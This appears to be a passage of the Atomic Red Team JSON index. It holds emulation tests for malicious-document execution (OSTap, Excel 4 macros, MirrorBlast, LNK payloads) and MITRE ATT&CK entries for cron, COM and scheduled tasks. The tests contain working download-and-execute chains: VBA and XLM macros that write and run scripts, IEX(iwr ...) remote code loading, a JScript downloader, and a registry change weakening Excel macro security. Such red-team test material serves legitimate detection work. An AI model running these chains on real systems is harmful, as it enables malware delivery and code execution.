- "description": "This Test uses a VBA macro to create and execute #{jse_path} with cscript.exe. Upon execution, the .jse file launches wscript.exe.\nExecution is handled by [Invoke-MalDoc](https://github.com/redcanaryco/invoke-atomicredteam/blob/master/Public/Invoke-MalDoc.ps1) to load and execute VBA code into Excel or Word documents.\nThis is a known execution chain observed by the OSTap downloader commonly used in TrickBot campaigns.\nReferences:\n https://www.computerweekly.com/news/252470091/TrickBot-Trojan-switches-to-stealthy-Ostap-downloader\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "jse_path": {
- "description": "Path for the macro to write out the \"malicious\" .jse file\n",
- "type": "string",
- "default": "C:\\Users\\Public\\art.jse"
- },
- "ms_product": {
- "description": "Maldoc application Word or Excel",
- "type": "string",
- "default": "Word"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Microsoft #{ms_product} must be installed\n",
- "prereq_command": "try {\n New-Object -COMObject \"#{ms_product}.Application\" | Out-Null\n $process = \"#{ms_product}\"; if ( $process -eq \"Word\") {$process = \"winword\"}\n Stop-Process -Name $process\n exit 0\n} catch { exit 1 }\n",
- "get_prereq_command": "Write-Host \"You will need to install Microsoft #{ms_product} manually to meet this requirement\"\n"
- }
- ],
- "executor": {
- "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\n$macrocode = \" Open `\"#{jse_path}`\" For Output As #1`n Write #1, `\"WScript.Quit`\"`n Close #1`n Shell`$ `\"cscript.exe #{jse_path}`\"`n\"\nInvoke-MalDoc -macroCode $macrocode -officeProduct \"#{ms_product}\"\n",
- "cleanup_command": "Remove-Item #{jse_path} -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "OSTap Payload Download",
- "auto_generated_guid": "3f3af983-118a-4fa1-85d3-ba4daa739d80",
- "description": "Uses cscript //E:jscript to download a file\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "script_file": {
- "description": "File to execute jscript code from",
- "type": "path",
- "default": "%TEMP%\\OSTapGet.js"
- },
- "file_url": {
- "description": "URL to retrieve file from",
- "type": "url",
- "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt"
- }
- },
- "executor": {
- "command": "echo var url = \"#{file_url}\", fso = WScript.CreateObject('Scripting.FileSystemObject'), request, stream; request = WScript.CreateObject('MSXML2.ServerXMLHTTP'); request.open('GET', url, false); request.send(); if (request.status === 200) {stream = WScript.CreateObject('ADODB.Stream'); stream.Open(); stream.Type = 1; stream.Write(request.responseBody); stream.Position = 0; stream.SaveToFile(filename, 1); stream.Close();} else {WScript.Quit(1);}WScript.Quit(0); > #{script_file}\ncscript //E:Jscript #{script_file}\n",
- "cleanup_command": "del #{script_file} /F /Q >nul 2>&1\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Maldoc choice flags command execution",
- "auto_generated_guid": "0330a5d2-a45a-4272-a9ee-e364411c4b18",
- "description": "This Test uses a VBA macro to execute cmd with flags observed in recent maldoc and 2nd stage downloaders. Upon execution, CMD will be launched.\nExecution is handled by [Invoke-MalDoc](https://github.com/redcanaryco/invoke-atomicredteam/blob/master/Public/Invoke-MalDoc.ps1) to load and execute VBA code into Excel or Word documents.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "ms_product": {
- "description": "Maldoc application Word or Excel",
- "type": "string",
- "default": "Word"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Microsoft #{ms_product} must be installed\n",
- "prereq_command": "try {\n New-Object -COMObject \"#{ms_product}.Application\" | Out-Null\n $process = \"#{ms_product}\"; if ( $process -eq \"Word\") {$process = \"winword\"}\n Stop-Process -Name $process\n exit 0\n} catch { exit 1 }\n",
- "get_prereq_command": "Write-Host \"You will need to install Microsoft #{ms_product} manually to meet this requirement\"\n"
- }
- ],
- "executor": {
- "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\n$macrocode = \" a = Shell(`\"cmd.exe /c choice /C Y /N /D Y /T 3`\", vbNormalFocus)\"\nInvoke-MalDoc -macroCode $macrocode -officeProduct \"#{ms_product}\"\n",
- "name": "powershell"
- }
- },
- {
- "name": "OSTAP JS version",
- "auto_generated_guid": "add560ef-20d6-4011-a937-2c340f930911",
- "description": "Malicious JavaScript executing CMD which spawns wscript.exe //e:jscript\nExecution is handled by [Invoke-MalDoc](https://github.com/redcanaryco/invoke-atomicredteam/blob/master/Public/Invoke-MalDoc.ps1) to load and execute VBA code into Excel or Word documents.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "jse_path": {
- "description": "jse file to execute with wscript",
- "type": "path",
- "default": "C:\\Users\\Public\\art.jse"
- },
- "ms_product": {
- "description": "Maldoc application Word or Excel",
- "type": "string",
- "default": "Word"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Microsoft #{ms_product} must be installed\n",
- "prereq_command": "try {\n New-Object -COMObject \"#{ms_product}.Application\" | Out-Null\n $process = \"#{ms_product}\"; if ( $process -eq \"Word\") {$process = \"winword\"}\n Stop-Process -Name $process\n exit 0\n} catch { exit 1 }\n",
- "get_prereq_command": "Write-Host \"You will need to install Microsoft #{ms_product} manually to meet this requirement\"\n"
- }
- ],
- "executor": {
- "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\n$macrocode = \" Open `\"#{jse_path}`\" For Output As #1`n Write #1, `\"WScript.Quit`\"`n Close #1`n a = Shell(`\"cmd.exe /c wscript.exe //E:jscript #{jse_path}`\", vbNormalFocus)`n\"\nInvoke-MalDoc -macroCode $macrocode -officeProduct \"#{ms_product}\"\n",
- "name": "powershell"
- }
- },
- {
- "name": "Office launching .bat file from AppData",
- "auto_generated_guid": "9215ea92-1ded-41b7-9cd6-79f9a78397aa",
- "description": "Microsoft Office creating then launching a .bat script from an AppData directory. The .bat file launches calc.exe when opened.",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "bat_path": {
- "description": "Path to malicious .bat file",
- "type": "string",
- "default": "$(\"$env:temp\\art1204.bat\")"
- },
- "ms_product": {
- "description": "Maldoc application Word or Excel",
- "type": "string",
- "default": "Word"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Microsoft #{ms_product} must be installed\n",
- "prereq_command": "try {\n New-Object -COMObject \"#{ms_product}.Application\" | Out-Null\n $process = \"#{ms_product}\"; if ( $process -eq \"Word\") {$process = \"winword\"}\n Stop-Process -Name $process\n exit 0\n} catch { exit 1 }\n",
- "get_prereq_command": "Write-Host \"You will need to install Microsoft #{ms_product} manually to meet this requirement\"\n"
- }
- ],
- "executor": {
- "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\n$macrocode = \" Open `\"#{bat_path}`\" For Output As #1`n Write #1, `\"calc.exe`\"`n Close #1`n a = Shell(`\"cmd.exe /c $bat_path `\", vbNormalFocus)`n\"\nInvoke-MalDoc -macroCode $macrocode -officeProduct #{ms_product}\n",
- "name": "powershell"
- }
- },
- {
- "name": "Excel 4 Macro",
- "auto_generated_guid": "4ea1fc97-8a46-4b4e-ba48-af43d2a98052",
- "description": "This module creates an Excel 4 Macro (XLM) enabled spreadsheet and executes it. The XLM will first write a \"malicious\"\nVBS file to %TEMP%, then execute this file. The VBS will download Process Explorer to the same directory (%TEMP%) and exec.\n\nA note regarding this module. By default, this module will pull the current username from the system and places it into the macro. If\nyou'd like to utilize the \"=GET.WORKSPACE(26)\" method, that many maldoc authors use, you will need to ensure that the User Name associated\nwith Excel matches that of the local system. This username can be found under Files -> Options -> Username\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "download_url": {
- "description": "Download URL",
- "type": "string",
- "default": "https://live.sysinternals.com/procexp.exe"
- },
- "uname": {
- "description": "Username for pathing",
- "type": "string",
- "default": "$env:Username"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Microsoft Excel must be installed\n",
- "prereq_command": "try {\n New-Object -COMObject \"Excel.Application\" | Out-Null\n Stop-Process -Name \"Excel\"\n exit 0\n} catch { exit 1 }\n",
- "get_prereq_command": "Write-Host \"You will need to install Microsoft Excel manually to meet this requirement\"\n"
- }
- ],
- "executor": {
- "command": "$fname = \"$env:TEMP\\atomic_redteam_x4m_exec.vbs\"\n$fname1 = \"$env:TEMP\\procexp.exe\"\nif (Test-Path $fname) {\n Remove-Item $fname\n Remove-Item $fname1\n}\n\n$xlApp = New-Object -COMObject \"Excel.Application\"\n$xlApp.Visible = $True\n$xlApp.DisplayAlerts = $False\n$xlBook = $xlApp.Workbooks.Add()\n$sheet = $xlBook.Excel4MacroSheets.Add()\n\nif (\"#{uname}\" -ne \"\") {\n $sheet.Cells.Item(1,1) = \"#{uname}\"\n} else {\n $sheet.Cells.Item(1,1) = \"=GET.WORKSPACE(26)\"\n}\n\n$sheet.Cells.Item(2,1) = \"procexp.exe\"\n$sheet.Cells.Item(3,1) = \"atomic_redteam_x4m_exec.vbs\"\n$sheet.Cells.Item(4,1) = \"=IF(ISNUMBER(SEARCH(`\"64`\",GET.WORKSPACE(1))), GOTO(A5),)\"\n$sheet.Cells.Item(5,1) = \"=FOPEN(`\"C:\\Users\\`\"&A1&`\"\\AppData\\Local\\Temp\\`\"&A3&`\"`\", 3)\"\n$sheet.Cells.Item(6,1) = \"=FWRITELN(A5, `\"url = `\"`\"#{download_url}`\"`\"`\")\"\n$sheet.Cells.Item(7,1) = \"=FWRITELN(A5, `\"`\")\"\n$sheet.Cells.Item(8,1) = \"=FWRITELN(A5, `\"Set winHttp = CreateObject(`\"`\"WinHTTP.WinHTTPrequest.5.1`\"`\")`\")\"\n$sheet.Cells.Item(9,1) = \"=FWRITELN(A5, `\"winHttp.Open `\"`\"GET`\"`\", url, False`\")\"\n$sheet.Cells.Item(10,1) = \"=FWRITELN(A5, `\"winHttp.Send`\")\"\n$sheet.Cells.Item(11,1) = \"=FWRITELN(A5, `\"If winHttp.Status = 200 Then`\")\"\n$sheet.Cells.Item(12,1) = \"=FWRITELN(A5, `\"Set oStream = CreateObject(`\"`\"ADODB.Stream`\"`\")`\")\"\n$sheet.Cells.Item(13,1) = \"=FWRITELN(A5, `\"oStream.Open`\")\"\n$sheet.Cells.Item(14,1) = \"=FWRITELN(A5, `\"oStream.Type = 1`\")\"\n$sheet.Cells.Item(15,1) = \"=FWRITELN(A5, `\"oStream.Write winHttp.responseBody`\")\"\n$sheet.Cells.Item(16,1) = \"=FWRITELN(A5, `\"oStream.SaveToFile `\"`\"C:\\Users\\`\"&A1&`\"\\AppData\\Local\\Temp\\`\"&A2&`\"`\"`\", 2`\")\"\n$sheet.Cells.Item(17,1) = \"=FWRITELN(A5, `\"oStream.Close`\")\"\n$sheet.Cells.Item(18,1) = \"=FWRITELN(A5, `\"End If`\")\"\n$sheet.Cells.Item(19,1) = \"=FCLOSE(A5)\"\n$sheet.Cells.Item(20,1) = \"=EXEC(`\"explorer.exe C:\\Users\\`\"&A1&`\"\\AppData\\Local\\Temp\\`\"&A3&`\"`\")\"\n$sheet.Cells.Item(21,1) = \"=WAIT(NOW()+`\"00:00:05`\")\"\n$sheet.Cells.Item(22,1) = \"=EXEC(`\"explorer.exe C:\\Users\\`\"&A1&`\"\\AppData\\Local\\Temp\\`\"&A2&`\"`\")\"\n$sheet.Cells.Item(23,1) = \"=HALT()\"\n$sheet.Cells.Item(1,1).Name = \"runme\"\n$xlApp.Run(\"runme\")\n$xlApp.Quit()\n\n[System.Runtime.Interopservices.Marshal]::ReleaseComObject($xlBook) | Out-Null\n[System.Runtime.Interopservices.Marshal]::ReleaseComObject($xlApp) | Out-Null\n[System.GC]::Collect()\n[System.GC]::WaitForPendingFinalizers()\n\nRemove-Variable xlBook\nRemove-Variable xlApp\n",
- "cleanup_command": "Stop-Process -Name \"procexp*\" -ErrorAction Ignore\nRemove-Item \"$env:TEMP\\atomic_redteam_x4m_exec.vbs\" -ErrorAction Ignore\nRemove-Item \"$env:TEMP\\procexp.exe\" -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "Headless Chrome code execution via VBA",
- "auto_generated_guid": "a19ee671-ed98-4e9d-b19c-d1954a51585a",
- "description": "This module uses Google Chrome combined with ScriptControl to achieve code execution. It spawns a local\nwebserver hosting our malicious payload. Headless Google Chrome will then reach out to this webserver\nand pull down the script and execute it. By default the payload will execute calc.exe on the system.\n",
- "supported_platforms": [
- "windows"
- ],
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Microsoft Word must be installed\n",
- "prereq_command": "try {\n $wdApp = New-Object -COMObject \"Word.Application\"\n Stop-Process -Name \"winword\"\n exit 0 } catch { exit 1 }\n",
- "get_prereq_command": "Write-Host \"You will need to install Microsoft Word manually to meet this requirement\"\n"
- },
- {
- "description": "Google Chrome must be installed\n",
- "prereq_command": "try {\n $chromeInstalled = (Get-Item (Get-ItemProperty 'HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\chrome.exe').'(Default)').VersionInfo.FileName\n exit 0\n} catch { exit 1 }\n",
- "get_prereq_command": "Write-Host \"You will need to install Google Chrome manually to meet this requirement\"\n"
- }
- ],
- "executor": {
- "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\nInvoke-Maldoc -macroFile \"PathToAtomicsFolder\\T1204.002\\src\\chromeexec-macrocode.txt\" -officeProduct \"Word\" -sub \"ExecChrome\"\n",
- "name": "powershell",
- "cleanup_command": "Stop-Process -name mshta\n"
- }
- },
- {
- "name": "Potentially Unwanted Applications (PUA)",
- "auto_generated_guid": "02f35d62-9fdc-4a97-b899-a5d9a876d295",
- "description": "The Potentially Unwanted Applications (PUA) protection feature in antivirus software can identify and block PUAs from downloading and installing on endpoints in your network. These applications are not considered viruses, malware, or other types of threats, but might perform actions on endpoints that adversely affect their performance or use. This file is similar to EICAR test virus file, but is considered a Potentially Unwanted Application (PUA) instead of a VIRUS (i.e. not actually malicious, but is flagged as it to verify anti-pua protection).\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "pua_url": {
- "description": "url to PotentiallyUnwanted.exe",
- "type": "url",
- "default": "http://amtso.eicar.org/PotentiallyUnwanted.exe"
- },
- "pua_file": {
- "description": "path to PotentiallyUnwanted.exe",
- "type": "path",
- "default": "$env:TEMP/PotentiallyUnwanted.exe"
- }
- },
- "executor": {
- "name": "powershell",
- "elevation_required": false,
- "command": "Invoke-WebRequest #{pua_url} -OutFile #{pua_file}\n& \"#{pua_file}\"\n",
- "cleanup_command": "Stop-Process -name PotentiallyUnwanted\nRemove-Item #{pua_file} -ErrorAction Ignore\n"
- }
- },
- {
- "name": "Office Generic Payload Download",
- "auto_generated_guid": "5202ee05-c420-4148-bf5e-fd7f7d24850c",
- "description": "This Test uses a VBA macro to launch Powershell which will download a file from a user defined web server.\nRequired input agruments are c2_domain and file_name\nExecution is handled by [Invoke-MalDoc](https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1) to load and execute VBA code into Excel or Word documents.\nExample for c2 server located at 127.0.0.1 for the file test.txt which is nested below the parent directory in the tests/my-test folder\nExample input args for file in root directory c2-domain = 127.0.0.1, file-name = test.txt\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "macro_path": {
- "description": "Location of file which will be converted to a VBA macro\n",
- "type": "path",
- "default": "PathToAtomicsFolder/T1204.002/src/test9-GenericPayloadDownload.txt"
- },
- "c2_domain": {
- "description": "This required variable points to a user defined HTTP server that will host the file_name in the c2_parent_directory.\n",
- "type": "url",
- "default": null
- },
- "c2_parent_directory": {
- "description": "Parent directory where you have the \"malicious\" file on c2_domain server.\nWill default to root directory. Forward slashes are not needed at begining or ending of directory path\n",
- "type": "path",
- "default": ""
- },
- "file_name": {
- "description": "\"Malicious\" file to be downloaded.\nThis required file needs to be place on the user provided c2 domain\nExample file can be found at PathToAtomicsFolder/T1204.002/src/test9-example-payload.txt\n",
- "type": "string",
- "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/test9-example-payload.txt"
- },
- "ms_product": {
- "description": "Maldoc application Word or Excel\n",
- "type": "string",
- "default": "Word"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Destination c2_domain name or IP address must be set to a running HTTP server.\n",
- "prereq_command": "if (#{c2_domain}) (exit 0) else (exit 1)\n",
- "get_prereq_command": "Write-Host \"Destination c2 server domain name or IP address must be set and reachable for HTTP service\"\n"
- },
- {
- "description": "Microsoftt #{ms_product} must be installed\n",
- "prereq_command": "try {\n New-Object -COMObject \"#{ms_product}.Application\" | Out-Null\n $process = \"#{ms_product}\"; if ( $process -eq \"Word\") {$process = \"winword\"}\n Stop-Process -Name $process\n exit 0\n} catch { exit 1 }\n",
- "get_prereq_command": "Write-Host \"You will need to install Microsoft #{ms_product} manually to meet this requirement\"\n"
- }
- ],
- "executor": {
- "name": "powershell",
- "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\n$macroCode = Get-Content \"#{macro_path}\" -Raw\n$URL = \"#{c2_domain}\" + \"/\" + \"#{c2_parent_directory}\"\n$macroCode = $macroCode -replace 'serverPath', $URL -replace 'fileName', \"#{file_name}\"\nInvoke-MalDoc -macroCode $macroCode -officeProduct \"#{ms_product}\"\n",
- "cleanup_command": "Remove-Item \"C:\\Users\\$env:username\\Desktop\\#{file_name}\" -ErrorAction Ignore\n"
- }
- },
- {
- "name": "LNK Payload Download",
- "auto_generated_guid": "581d7521-9c4b-420e-9695-2aec5241167f",
- "description": "This lnk files invokes powershell to download putty from the internet and opens the file. https://twitter.com/ankit_anubhav/status/1518932941090410496",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "Invoke-WebRequest -OutFile $env:Temp\\test10.lnk \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/bin/test10.lnk\"\n$file1 = \"$env:Temp\\test10.lnk\"\nStart-Process $file1\nStart-Sleep -s 10\ntaskkill /IM a.exe /F\n",
- "cleanup_command": "$file1 = \"$env:Temp\\test10.lnk\"\n$file2 = \"$env:Temp\\a.exe\"\nRemove-Item $file1 -ErrorAction Ignore\nRemove-Item $file2 -ErrorAction Ignore",
- "name": "powershell"
- }
- },
- {
- "name": "Mirror Blast Emulation",
- "auto_generated_guid": "24fd9719-7419-42dd-bce6-ab3463110b3c",
- "description": "Emulates the JS -> MSI chain of the MirrorBlast T505 campaign by executing an xlsm file designed. \nRequires the 32 bit version of Office to run. [MirrorBlast Campaign Analysis](https://blog.morphisec.com/explosive-new-mirrorblast-campaign-targets-financial-companies)\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "Cd \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\"\nNew-ItemProperty -Path Registry::HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Office\\16.0\\Excel\\Security -Name \"VBAWarnings\" -Value \"1\" -PropertyType DWORD -Force | Out-Null\n& '.\\Excel 2016.lnk' PathToAtomicsFolder\\T1204.002\\bin\\mirrorblast_emulation.xlsm",
- "cleanup_command": "reg delete \"HKCU\\SOFTWARE\\Microsoft\\Office\\16.0\\Excel\\Security\" /v \"VBAWarnings\" /f",
- "name": "powershell"
- }
- }
- ]
- },
- "T1053.003": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c",
- "type": "attack-pattern",
- "created": "2019-12-03T14:25:00.538Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1053.003",
- "url": "https://attack.mitre.org/techniques/T1053/003"
- },
- {
- "source_name": "20 macOS Common Tools and Techniques",
- "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/",
- "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021."
- }
- ],
- "modified": "2022-03-24T17:33:03.443Z",
- "name": "Scheduled Task/Job: Cron",
- "description": "Adversaries may abuse the cron
utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The cron
utility is a time-based job scheduler for Unix-like operating systems. The crontab
file contains the schedule of cron entries to be run and the specified times for execution. Any crontab
files are stored in operating system-specific file paths.\n\nAn adversary may use cron
in Linux or Unix environments to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. ",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Scheduled Job: Scheduled Job Creation",
- "File: File Modification",
- "Process: Process Creation"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1053.003"
- },
- "atomic_tests": []
- },
- "T1559.001": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64",
- "type": "attack-pattern",
- "created": "2020-02-12T14:09:53.107Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1559.001",
- "url": "https://attack.mitre.org/techniques/T1559/001"
- },
- {
- "source_name": "Fireeye Hunting COM June 2019",
- "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html",
- "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019."
- },
- {
- "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx",
- "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.",
- "source_name": "Microsoft COM"
- },
- {
- "url": "https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html",
- "description": "Forshaw, J. (2018, April 18). Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege. Retrieved May 3, 2018.",
- "source_name": "ProjectZero File Write EoP Apr 2018"
- },
- {
- "url": "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/",
- "description": "Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.",
- "source_name": "Enigma Outlook DCOM Lateral Movement Nov 2017"
- },
- {
- "url": "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/",
- "description": "Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.",
- "source_name": "Enigma MMC20 COM Jan 2017"
- }
- ],
- "modified": "2021-07-26T22:51:20.448Z",
- "name": "Component Object Model",
- "description": "Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) Remote COM execution is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)\n\nVarious COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- }
- ],
- "x_mitre_detection": "Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017)\n\nMonitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on. ",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Module: Module Load",
- "Script: Script Execution"
- ],
- "x_mitre_remote_support": true
- },
- "atomic_tests": []
- },
- "T1053": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Linux",
- "macOS",
- "Containers"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Prashant Verma, Paladion",
- "Leo Loobeek, @leoloobeek",
- "Travis Smith, Tripwire",
- "Alain Homewood, Insomnia Security",
- "Andrew Northern, @ex_raritas",
- "Bryan Campbell, @bry_campbell",
- "Zachary Abzug, @ZackDoesML",
- "Selena Larson, @selenalarson"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9",
- "created": "2017-05-31T21:30:46.977Z",
- "x_mitre_version": "2.2",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1053",
- "url": "https://attack.mitre.org/techniques/T1053"
- },
- {
- "source_name": "ProofPoint Serpent",
- "url": "https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain",
- "description": "Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New Backdoor Targets French Entities with Unique Attack Chain. Retrieved April 11, 2022."
- },
- {
- "source_name": "TechNet Task Scheduler Security",
- "url": "https://technet.microsoft.com/en-us/library/cc785125.aspx",
- "description": "Microsoft. (2005, January 21). Task Scheduler and security. Retrieved June 8, 2016."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/557.html",
- "source_name": "capec",
- "external_id": "CAPEC-557"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)\n\nAdversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent)",
- "modified": "2022-04-14T20:59:52.686Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Scheduled Task/Job",
